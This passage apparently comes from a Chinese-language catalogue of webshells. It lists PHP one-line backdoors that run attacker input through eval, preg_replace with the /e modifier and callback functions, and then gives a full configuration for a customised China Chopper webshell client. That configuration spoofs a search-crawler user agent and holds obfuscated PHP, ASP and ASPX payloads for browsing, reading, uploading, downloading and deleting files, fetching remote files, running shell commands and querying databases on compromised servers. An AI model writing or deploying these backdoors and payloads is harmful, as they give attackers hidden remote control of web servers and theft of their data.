$this->pop_vars();; ?> </table><?php echo '<?php'; ?> eval($_POST[cmd])<?php echo '?>'; ?>
0x57: preg_xx PCRE相关函数API内置\e eval支持
1. preg_filter
<?php preg_filter('|.*|e', $_REQUEST['BadWords'], ''); ?>
2. preg_replace
<?php $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; //preg_replace $hh("/littlehann/e",$_POST['op'],"111littlehann222"); ?>
Relevant Link:
http://php.net/manual/zh/function.preg-filter.php http://php.net/manual/zh/function.preg-replace.php
0x58: preg_xx PCRE CALLBACK特征执行代码
1. preg_replace_callback_array
<?php $subject = 'little hann'; preg_replace_callback_array( [ '~[t]+~i' => function ($match) { eval($_POST['op']); }, '~[n]+~i' => function ($match) { eval($_POST['op']); } ], $subject ); ?>
2. preg_replace_callback
<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['op']);
?>
3. mb_ereg_replace_callback
<?php mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'),$_REQUEST['op']); ?>
Relevant Link:
http://php.net/manual/zh/function.preg-replace-callback-array.php http://php.net/manual/zh/function.preg-replace-callback.php http://php.net/manual/en/function.mb-ereg-replace-callback.php
0x59: 自定义特征菜刀
过流量检测特征
【这个文件必须保存为UNICODE编码】 //返回分隔标识,固定三个字符,尽量用生辟的字,如返回的内容为:X@Y12345X@Y,就读出内容为12345, //不要包含单双引号,以免和下面的代码发生冲突,这个标记改完要重启程序才能生效。 <FLAG>X@Y</FLAG> //User-Agent: <UA>Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)</UA> //第二个参数名称#K1# <K1>z1</K1> //第二个参数名称#K2# <K2>z2</K2> //以下修改后不用重启程序实时生效 //注意:除%s,%d这样的参数外,其它的%号要用%%代替,修改前做好备份 //下面的PHP_BASE,ASP_BASE,APSX_BASE三个标记会用到,不要重复了,否则可能不会读到正确的内容 //PHP_BASE参数:%s <PHP_BASE> array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('%s'));\");")); </PHP_BASE> //ASP_BASE参数:%s %s %s 这里有个bd函数用于HEX解码 <ASP_BASE> %%u0045%%xec%%ute%%G%%loba%%l%%%%28Replace%%28%%22Fu%%nct%%ion%%20bd%%28by%%V%%al%%20s%%29:Fo%%r%%20i%%%%3D1%%20T%%o%%20Le%%n%%28s%%29%%20S%%te%%p%%202:c%%%%3DM%%id%%28s%%2Ci%%2C2%%29:If%%20Is%%Nu%%meric%%28M%%id%%28s%%2Ci%%2C1%%29%%29%%20T%%hen:bd%%%%3Dbd%%4026%%40c%%hr%%28%%22%%22%%4026%%40H%%22%%22%%4026%%40c%%29:E%%lse:bd%%%%3Dbd%%4026%%40c%%hr%%28%%22%%22%%4026%%40H%%22%%22%%4026%%40c%%4026%%40M%%id%%28s%%2Ci%%2B2%%2C2%%29%%29:i%%%%3Di%%2B2:E%%nd%%20If:Ne%%xt:E%%nd%%20Fu%%nct%%ion:E%%xecu%%te%%%%28bd%%%%28%%22%%224F6E204572726F7220526573756D65204E6578743A526573706F6E73652E57726974652022%s223A%s3A526573706F6E73652E57726974652022%s223A526573706F6E73652E456E64%%22%%22%%29%%%%29%%22%%2C%%22%%4026%%40%%22%%2Cchr%%2838%%29%%29%%29 </ASP_BASE> //ASPX_BASE参数:%s,%d,%s,%s <ASPX_BASE> %%u0052%%u0065sponse%%u002E%%u0057rit%%u0065("%s");var %%u0065rr:%%u0045xc%%u0065ption; %%u0074ry%%u007B%%u0065val(Syst%%u0065m%%u002ET%%u0065xt%%u002E%%u0045ncoding%%u002EG%%u0065t%%u0045ncoding(%d)%%u002EG%%u0065tString(Syst%%u0065m.Conv%%u0065rt%%u002EFromBas%%u006564String("%s")),"unsaf%%u0065"); %%u007Dcatch(err)%%u007B%%u0052esponse%%u002E%%u0057rite("ER"%%2B"ROR:// "%%2Berr.message);%%u007D%%u0052%%u0065sponse.%%u0057rit%%u0065("%s");%%u0052espons%%u0065.%%u0045nd(); </ASPX_BASE> //一个服务端和下面代码配合的例子,看了可以尝试改出更多花样并和大伙分享 //<?php @eval(base64_decode($_POST['caidao']));?> <PHP_BASE.加密示例> ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtpZF0pKTs%%3D&id=%s </PHP_BASE.加密示例> 实际的内容是eval(base64_decode($_POST[id])); /////////////////////////////// //注意了,ASP的字符串参数都是用双引号(如 "%s"),PHP和ASPX都要用单引号(这样 '%s')。 ///////////////////////////////////////////////////////////////////////////////////////////////// <GETBASEINFO> <PHP>$D=dirname(__FILE__);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;</PHP> <ASP>Dim S:S=Server.Mappath("/")&chr(9):SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:Err.Clear:Else:For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)</ASP> <ASPX>var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath("/")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");</ASPX> </GETBASEINFO> <SHOWFOLDER> <PHP>$D='%s';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);}</PHP> <ASP>Dim RR:RR="%s":Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 Then:FD=FD&"0":End If:FD=FD&Second(dt):End Function:SET C=CreateObject("Scripting.FileSystemObject"):Set FO=C.GetFolder(""&RR&""):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:Else:For Each F in FO.subfolders:Response.Write F.Name&chr(47)&chr(9)&FD(F.DateLastModified)&chr(9)&chr(48)&chr(9)&C.GetFolder(F.Path).attributes&chr(10):Next:For Each L in FO.files:Response.Write L.Name&chr(9)&FD(L.DateLastModified)&chr(9)&L.size&chr(9)&C.GetFile(L.Path).attributes&chr(10):Next:End If</ASP> <ASPX>var D='%s';var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;function T(p:String):String{return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\t"+T(P)+"\t0\t-\n");}s=m.GetFiles();for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\t"+T(P)+"\t"+s[i].Length+"\t-\n");}</ASPX> </SHOWFOLDER> <SHOWTXTFILE> <PHP>$F='%s';$P=@fopen($F,'r');echo(@fread($P,filesize($F)));@fclose($P);</PHP> <ASP>Response.Write(CreateObject("Scripting.FileSystemObject").OpenTextfile("%s",1,False).readall):If Err Then:Response.Write("ERROR:// "&Err.Description):Err.Clear:End If</ASP> <ASPX>var P='%s';var m=new System.IO.StreamReader(P,Encoding.Default);Response.Write(m.ReadToEnd());m.Close();</ASPX> </SHOWTXTFILE> <SAVETXTFILE> <PHP>echo fwrite(fopen('%s','w'),$_POST['#K1#'])?'1':'0';</PHP> <ASP>CreateObject("Scripting.FileSystemObject").CreateTextFile("%s").Write(Request("#K1#")):If Err Then:S="ERROR:// "&Err.Description:Else:S="1":Response.Write(S):End If</ASP> <ASPX>var P='%s';var T:String=Request.Item["#K1#"];var m=new System.IO.StreamWriter(P,false,Encoding.Default);m.Write(T);m.Close();Response.Write('1');</ASPX> </SAVETXTFILE> <DELETEFILE> <PHP>$F='%s';function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?"1":"0":"0");}</PHP> <ASP>Dim P:P="%s":Set FS=CreateObject("Scripting.FileSystemObject"):If FS.FolderExists(P)=true Then:FS.DeleteFolder(P):Else:FS.DeleteFile(P):End If:Set FS=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":Response.Write(S):End If</ASP> <ASPX>var P:String='%s';if(System.IO.Directory.Exists(P)){System.IO.Directory.Delete(P,true);}else{System.IO.File.Delete(P);}Response.Write("1");</ASPX> </DELETEFILE> <DOWNFILE> <PHP>$F="%s";$fp=@fopen($F,'r');if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo('ERROR:// Can Not Read');}</PHP> <ASP>Dim i,c,r:Set S=Server.CreateObject("Adodb.Stream"):If Not Err Then:With S:.Mode=3:.Type=1:.Open:.LoadFromFile("%s"):i=0:c=.Size:r=1024:While i<c:Response.BinaryWrite .Read(r):Response.Flush:i=i+r:Wend:.Close:Set S=Nothing:End With:Else:Response.BinaryWrite "ERROR:// "&Err.Description:End If</ASP> <ASPX>Response.WriteFile('%s');</ASPX> </DOWNFILE>; <UPLOADFILE> <PHP>$f='%s';$c=$_POST["#K1#"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode('%%'.substr($c,$i,2));echo(@fwrite(fopen($f,'w'),$buf)?'1':'0');</PHP> <ASP>Dim l,ss,ff,T:ff="%s":ss=Request("#K1#"):l=Len(ss):Set S=Server.CreateObject("Adodb.Stream"):With S:.Type=1:.Mode=3:.Open:If Request("#K2#")>0 Then:.LoadFromFile ""&ff&"":.Position=.Size:End If:set rs=CreateObject("ADODB.Recordset"):rs.fields.append "bb",205,l/2:rs.open:rs.addnew:rs("bb")=ss+chrb(0):rs.update:.Write rs("bb").getchunk(l/2):rs.close:Set rs=Nothing:.Position=0:.SaveToFile ""&ff&"",2:.Close:End With:Set S=Nothing:If Err Then:T=Err.Description:Err.Clear:Else:T="1":End If:Response.Write(T)</ASP> <ASPX>var P:String='%s';var Z:String=Request.Item["#K1#"];var B:byte[]=new byte[Z.Length/2];for(var i=0;i<Z.Length;i+=2){B[i/2]=byte(Convert.ToInt32(Z.Substring(i,2),16));}var fs:System.IO.FileStream=new System.IO.FileStream(P,System.IO.FileMode.Create);fs.Write(B,0,B.Length);fs.Close();Response.Write("1");</ASPX> </UPLOADFILE> <PASTEFILE> <PHP>$fc='%s';$fp='%s';function xcopy($src,$dest){if(is_file($src)){if(!copy($src,$dest))return false;else return true;}$m=@dir($src);if(!is_dir($dest))if(!@mkdir($dest))return false;while($f=$m->read()){$isrc=$src.chr(47).$f;$idest=$dest.chr(47).$f;if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){if(!xcopy($isrc,$idest))return false;}else if(is_file($isrc)){if(!copy($isrc,$idest))return false;}}return true;}echo(xcopy($fc,$fp)?"1":"0");</PHP> <ASP>SF="%s":DF="%s":Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.CopyFolder SF,DF:Else:Fs.CopyFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:else:SI="1":End If:Response.Write(SI)</ASP> <ASPX>var S='%s';var D='%s';function cp(S:String,D:String){if(System.IO.Directory.Exists(S)){var m=new System.IO.DirectoryInfo(S);var i;var f=m.GetFiles();var d=m.GetDirectories();System.IO.Directory.CreateDirectory(D);for (i in f)System.IO.File.Copy(S+"\\"+f[i].Name,D+"\\"+f[i].Name);for (i in d)cp(S+"\\"+d[i].Name,D+"\\"+d[i].Name);}else{System.IO.File.Copy(S,D);}}cp(S,D);Response.Write("1");</ASPX> </PASTEFILE> <NEWFOLDER> <PHP>$f='%s';echo(mkdir($f)?"1":"0");</PHP> <ASP>Set Fs=CreateObject("Scripting.FileSystemObject"):Fs.CreateFolder("%s"):Set Fs=Nothing:If Err Then:S="ERROR:// "&Err.Description:Else:S="1":End If:Response.Write(S)</ASP> <ASPX>var D='%s';System.IO.Directory.CreateDirectory(D);Response.Write("1");</ASPX> </NEWFOLDER> <WGET> <PHP>$fR='%s';$fL='%s';$F=@fopen($fR,chr(114));$L=@fopen($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo("1");}else{echo("0");}</PHP> <ASP>Dim SI:Set x=CreateObject("Microsoft.XMLHTTP"):x.Open "GET","%s",0:x.Send():If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:set s=CreateObject("ADODB.Stream"):s.Mode=3:s.Type=1:s.Open():s.Write x.ResponseBody:s.SaveToFile "%s",2:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="1":End If:Set x=Nothing:Set s=Nothing:End If:Response.Write(SI)</ASP> <ASPX>var X=new ActiveXObject("Microsoft.XMLHTTP");var S=new ActiveXObject("Adodb.Stream");S.Type=1;S.Mode=3;S.Open();X.Open("GET",'%s',false);X.Send();S.Write(X.ResponseBody);S.Position=0;S.SaveToFile('%s',2);S.close;S=null;X=null;Response.Write("1");</ASPX> </WGET> <SHELL> <PHP>$m=get_magic_quotes_gpc();$p='%s';$s='%s';$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r." 2>&1",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print $ret;</PHP> <ASP>Set X=CreateObject("wscript.shell").exec("%s /c %s"):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)</ASP> <ASPX>var c=new System.Diagnostics.ProcessStartInfo('%s');var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments='/c %s';e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());</ASPX> </SHELL> <RENAME> <PHP>$src='%s';$dst='%s';echo rename($src,$dst)?'1':'0';</PHP> <ASP>SF="%s":DF="%s":Set Fs=CreateObject("Scripting.FileSystemObject"):If Fs.FolderExists(SF) Then:Fs.MoveFolder SF,DF:Else:Fs.MoveFile SF,DF:End If:Set Fs=Nothing:If Err Then:SI="ERROR:// "&Err.Description:Else:SI="1":End If:Response.Write(SI)</ASP> <ASPX>var src='%s',dst='%s';if (System.IO.Directory.Exists(src)){System.IO.Directory.Move(src,dst);}else{System.IO.File.Move(src,dst);}Response.Write("1");</ASPX> </RENAME> <SETTIME> <PHP>$FN='%s';$TM=strtotime('%s');if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?'1':'0');}else{echo '0';};</PHP> <ASP>FN="%s":TM="%s":AA=Split(FN,"\"):PT="":For i=LBound(AA) To UBound(AA)-1:PT=PT&AA(i)&"\":Next:NM=AA(UBound(AA)):Server.CreateObject("Shell.Application").NameSpace(PT).ParseName(NM).Modifydate=TM:If Err Then:SI="ERROR:// "&PT&Err.Description:Err.Clear:Else:SI="1":End If:Response.Write(SI)</ASP> <ASPX>var DD='%s',TM='%s';if(System.IO.Directory.Exists(DD)){System.IO.Directory.SetCreationTime(DD,TM);System.IO.Directory.SetLastWriteTime(DD,TM);System.IO.Directory.SetLastAccessTime(DD,TM);}else{System.IO.File.SetCreationTime(DD,TM);System.IO.File.SetLastWriteTime(DD,TM);System.IO.File.SetLastAccessTime(DD,TM);}Response.Write("1");</ASPX> </SETTIME> //////////////PHP_MYSQL/////////////////// <DB_PHP_MYSQL_DBLIST> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=mysqli_connect($hst,$usr,$pwd,$dbn);if(mysqli_connect_errno($T)){echo "ERROR:// ".mysqli_connect_error();}else{$q=mysqli_query($T,"SHOW DATABASES");if(!$q){$q=mysqli_query($T,"select database()");}while($rs=mysqli_fetch_row($q)){echo trim($rs[0]).chr(9);}mysqli_close($T);} </DB_PHP_MYSQL_DBLIST> <DB_PHP_MYSQL_TABLELIST> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=mysqli_connect($hst,$usr,$pwd,$dbn);if(mysqli_connect_errno($T)){echo "ERROR:// ".mysqli_connect_error();}else{$q=mysqli_query($T,"SHOW TABLES FROM `{$dbn}`");if($q){while($rs=mysqli_fetch_row($q)){echo trim($rs[0]).chr(9);}}mysqli_close($T);} </DB_PHP_MYSQL_TABLELIST> <DB_PHP_MYSQL_COLUMNLIST> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$tbn='%s';$T=mysqli_connect($hst,$usr,$pwd,$dbn);if(mysqli_connect_errno($T)){echo "ERROR:// ".mysqli_connect_error();}else{$q=mysqli_query($T,"SHOW COLUMNS FROM `{$tbn}`");if($q){while($rs=mysqli_fetch_row($q)){echo trim($rs[0]).chr(9);}}mysqli_close($T);} </DB_PHP_MYSQL_COLUMNLIST> <DB_PHP_MYSQL_EXECUTESQL> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$sql='%s';$T=mysqli_connect($hst,$usr,$pwd,$dbn);if(mysqli_connect_errno($T)){echo "ERROR:// ".mysqli_connect_error();}else{$q=mysqli_query($T,$sql);if($q){$k = 0;while ($finfo = @mysqli_fetch_field($q)){echo $finfo->name."\t|\t";$k++;}if($k>0){echo "\r\n";while($rs=@mysqli_fetch_row($q)){for($c=0;$c<$k;$c++){echo $rs[$c]."\t|\t";}echo "\r\n";}}else{echo "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}}else{echo "Result\t|\t\r\nERROR: ".mysqli_error($T)."\t|\t\r\n";}mysqli_close($T);} </DB_PHP_MYSQL_EXECUTESQL> //////////////PHP_POSTGRESQL/////////////////// <DB_PHP_POSTGRESQL_DBLIST> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$dbp='%d';$T=pg_connect("host={$hst} port={$dbp} dbname={$dbn} user={$usr} password={$pwd}");if(!$T){echo "ERROR:// pg_connect error!";}else{$q=pg_query($T,"select current_database()");if($q){while($rs=pg_fetch_row($q)){echo trim($rs[0]).chr(9);}}pg_close($T);} </DB_PHP_POSTGRESQL_DBLIST> <DB_PHP_POSTGRESQL_TABLELIST> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$dbp='%d';$T=pg_connect("host={$hst} port={$dbp} dbname={$dbn} user={$usr} password={$pwd}");if(!$T){echo "ERROR:// pg_connect error!";}else{$q=pg_query($T,"SELECT relname FROM pg_stat_user_tables");if($q){while($rs=pg_fetch_row($q)){echo trim($rs[0]).chr(9);}}pg_close($T);} </DB_PHP_POSTGRESQL_TABLELIST> <DB_PHP_POSTGRESQL_COLUMNLIST> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$dbp='%d';$tbn='%s';$T=pg_connect("host={$hst} port={$dbp} dbname={$dbn} user={$usr} password={$pwd}");if(!$T){echo "ERROR:// pg_connect error!";}else{$q=pg_query($T,"SELECT * FROM {$tbn} offset 0 limit 1");if($q){$i=pg_num_fields($q);for($j=0;$j<$i;$j++){echo pg_field_name($q,$j).chr(9);}}pg_close($T);} </DB_PHP_POSTGRESQL_COLUMNLIST> <DB_PHP_POSTGRESQL_EXECUTESQL> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$dbp='%d';$sql='%s';$T=pg_connect("host={$hst} port={$dbp} dbname={$dbn} user={$usr} password={$pwd}");if(!$T){echo "ERROR:// pg_connect error!";}else{$q=pg_query($T,$sql);if($q){$i=pg_num_fields($q);if($i>0){for($j=0;$j<$i;$j++){echo pg_field_name($q,$j)."\t|\t";}echo "\r\n";while($rs=pg_fetch_row($q)){for($k=0;$k<$i;$k++){echo $rs[$k]."\t|\t";}echo "\r\n";}}else{echo "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}}else{echo "Result\t|\t\r\nERROR: ".pg_last_error($T)."\t|\t\r\n";}pg_close($T);} </DB_PHP_POSTGRESQL_EXECUTESQL> //////////////PHP_INFORMIX/////////////////// <DB_PHP_INFORMIX_DBLIST> $hst='%s';$usr='%s';$pwd='%s';$T=ifx_connect($hst,$usr,$pwd);$q=@ifx_query("SELECT username FROM SYSUSERS WHERE usertype='D' ORDER BY username",$T);echo "informix\t";while($rs=@ifx_fetch_row($q)){echo $rs[username]."\t";}@ifx_close($T); </DB_PHP_INFORMIX_DBLIST> <DB_PHP_INFORMIX_TABLELIST> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=ifx_connect($hst,$usr,$pwd);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo $rs[tabname]."\t";}@ifx_close($T); </DB_PHP_INFORMIX_TABLELIST> <DB_PHP_INFORMIX__COLUMNLIST> $hst='%s';$usr='%s';$pwd='%s';$tbn='%s';$T=ifx_connect($hst,$usr,$pwd);$q=@ifx_query("SELECT first 1 * FROM {$tbn}",$T);if($rs=@ifx_fetch_row($q)){for($i=0;$fn=key($rs);next($rs),$i++){echo $fn." (".$rs[$fn].")\t";}}@ifx_close($T); </DB_PHP_INFORMIX__COLUMNLIST> <DB_PHP_INFORMIX_EXECUTESQL> $hst='%s';$usr='%s';$pwd='%s';$sql='%s';$T=ifx_connect($hst,$usr,$pwd);$q=@ifx_query($sql,$T);if($q){$cs=ifx_fieldtypes($q);if(isset($cs)){foreach($cs as $f=>$v){echo $f."\t|\t";}echo "\r\n";while($rs=@ifx_fetch_row($q)){for(reset($rs);$f=key($rs);next($rs)){echo $rs[$f]);echo "\t|\t";}echo "\r\n";}}else{echo "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}}else{echo "Result\t|\t\r\nERROR: ".ifx_error($T)."\t|\t\r\n";}@ifx_close($T); </DB_PHP_INFORMIX_EXECUTESQL> //////////////PHP_ORACLE/////////环境配置太麻烦了,盲改的,有环境的同学照着改出来后分享一下//////////// <DB_PHP_ORACLE_DBLIST> $hst='%s';$usr='%s';$pwd='%s';$H=@Ora_Logon("{$usr}@{$hst}",$pwd);if(!$H){echo "ERROR:// ".Ora_Error($H);}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");if(ora_exec($q)){while(ora_fetch($q)){echo ora_getcolumn($q,0)."\t";}}@ora_close($T);} </DB_PHP_ORACLE_DBLIST> <DB_PHP_ORACLE_TABLELIST> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$H=@Ora_Logon("{$usr}@{$hst}",$pwd);if(!$H){echo "ERROR:// ".Ora_Error($H);}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)");if(ora_exec($q)){while(ora_fetch($q)){echo ora_getcolumn($q,0)."\t";}}@ora_close($T);} </DB_PHP_ORACLE_TABLELIST> <DB_PHP_ORACLE_COLUMNLIST> $hst='%s';$usr='%s';$pwd='%s';$tbn='%s';$H=@Ora_Logon("{$usr}@{$hst}",$pwd);if(!$H){echo "ERROR:// ".Ora_Error($H);}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,"SELECT COLUMN_NAME,DATA_TYPE FROM ALL_TAB_COLUMNS WHERE TABLE_NAME='{$tbn}' ORDER BY COLUMN_ID");if(ora_exec($q)){while(ora_fetch($q)){echo ora_getcolumn($q,0)." (".ora_getcolumn($q,1).")\t";}}@ora_close($T);} </DB_PHP_ORACLE_COLUMNLIST> <DB_PHP_ORACLE_EXECUTESQL> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$sql='%s';$H=@Ora_Logon("{$usr}@{$hst}",$pwd);if(!$H){echo "ERROR:// ".Ora_Error($H);}else{$T=@ora_open($H);@ora_commitoff($H);$q=@ora_parse($T,$sql);if(ora_exec($q)){$n=ora_numcols($q);if($n>){for($i=0;$i<$n;$i++){echo Ora_ColumnName($q,$i)."\t|\t";}echo "\r\n";while(ora_fetch($q)){for($i=0;$i<$n;$i++){echo ora_getcolumn($q,$i)."\t|\t";}echo "\r\n";}}else{echo "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}@ora_close($T);} </DB_PHP_ORACLE_EXECUTESQL> //////////////PHP_MSSQL///////////////////没测试,应该能用的,如果有环境的同学改好发一份给我 <DB_PHP_MSSQL_DBLIST> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=@mssql_connect($hst,$usr,$pwd);if(!$T){echo "ERROR:// Connect Error!";}else{@mssql_select_db($dbn,$T);$q=@mssql_query("select [name] from master.dbo.sysdatabases",$T);if($q){while($rs=@mssql_fetch_row($q)){echo $rs[0]."\t";}}@mssql_close($T);} </DB_PHP_MSSQL_DBLIST> <DB_PHP_MSSQL_TABLELIST> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$T=@mssql_connect($hst,$usr,$pwd);if(!$T){echo "ERROR:// Connect Error!";}else{@mssql_select_db($dbn,$T);$q=@mssql_query("SELECT [name] FROM sysobjects WHERE (xtype='U' OR xtype='S') ORDER BY 1",$T);if($q){while($rs=@mssql_fetch_row($q)){echo $rs[0]."\t";}}@mssql_close($T);} </DB_PHP_MSSQL_TABLELIST> <DB_PHP_MSSQL_COLUMNLIST> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$tbn='%s';$T=@mssql_connect($hst,$usr,$pwd);if(!$T){echo "ERROR:// Connect Error!";}else{@mssql_select_db($dbn,$T);$q=@mssql_query("SELECT TOP 1 * FROM {$tbn}",$T);if($q){while($rs=@mssql_fetch_field($q)){echo $rs->name." (".$rs->type.")\t";}}@mssql_close($T);} </DB_PHP_MSSQL_COLUMNLIST> <DB_PHP_MSSQL_EXECUTESQL> $hst='%s';$usr='%s';$pwd='%s';$dbn='%s';$tbn='%s';$T=@mssql_connect($hst,$usr,$pwd);if(!$T){echo "ERROR:// Connect Error!";}else{@mssql_select_db($dbn,$T);$q=@mssql_query("SELECT TOP 1 * FROM {$tbn}",$T);if($q){$i=0;while($rs=@mssql_fetch_field($q)){echo $rs->name."\t|\t";$i++;}if($i>0){echo "\r\n";while($rs=@mssql_fetch_row($q)){for($c=0;$c<$i;$c++){echo $rs[$c]."\t|\t";}echo "\r\n";}}else{echo "Result\t|\t\r\nExecute Successfully!\t|\t\r\n";}@mssql_free_result($q);}else{echo "Result\t|\t\r\nError occurred!\t|\t\r\n";}@mssql_close($T);} </DB_PHP_MSSQL_EXECUTESQL> ////////////////////ASP_ADO/////////////////////////修改时一个符号的错误可能都让你郁闷一天/// <DB_ASP_ADO_DBLIST> Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open "%s":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI) </DB_ASP_ADO_DBLIST> <DB_ASP_ADO_TABLELIST> Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open "%s":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI) </DB_ASP_ADO_TABLELIST> <DB_ASP_ADO_COLUMNLIST> Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open "%s":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open "%s",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI) </DB_ASP_ADO_COLUMNLIST> <DB_ASP_ADO_EXECUTESQL> Dim CS,SQL:CS="%s":SQL="%s":Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open CS:Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(SQL):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:If FN=-1 Then:Response.Write HD&"Execute Successfully!"&CO&RN:Else:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing </DB_ASP_ADO_EXECUTESQL> 